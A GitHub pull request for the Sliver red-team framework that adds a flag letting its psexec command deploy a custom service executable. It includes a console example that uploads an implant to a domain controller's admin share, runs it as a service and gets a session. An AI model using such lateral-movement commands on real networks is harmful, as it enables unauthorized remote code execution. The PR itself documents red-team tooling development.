Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

allow custom executables with psexec #770

Merged
merged 1 commit into from
Jul 29, 2022
Merged

allow custom executables with psexec #770

merged 1 commit into from
Jul 29, 2022

Conversation

rwhitcroft
Copy link

Card

Adds the -c flag to psexec to accept custom service executables instead of generating a new Sliver. The executable must respond to SCM messages.

Details

Using psexec to spawn a customized version of Sliver (with service handlers).

[server] sliver (test1) > psexec -c /tmp/sliver.exe -d test1 -s test1 dc.hackme.local

[*] Uploaded service binary to \\dc.hackme.local\C$\windows\temp\jTVgfmNXyn.exe
[*] Waiting a bit for the file to be analyzed ...
[*] Successfully started service on dc.hackme.local (c:\windows\temp\jTVgfmNXyn.exe)
[*] Successfully removed service test1 on dc.hackme.local

[New session received]

@rkervella rkervella self-requested a review July 29, 2022 15:28
@rwhitcroft
Copy link
Author

Oops, forgot to GPG sign. Should I close this and create a new PR?

@rkervella
Copy link
Member

Oops, forgot to GPG sign. Should I close this and create a new PR?

We can override for this time, please remember to sign your commits in the future though :)

@rkervella rkervella merged commit 7d07f4c into BishopFox:master Jul 29, 2022
@rwhitcroft rwhitcroft deleted the feature/psexec-custom-exe branch July 29, 2022 18:13
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants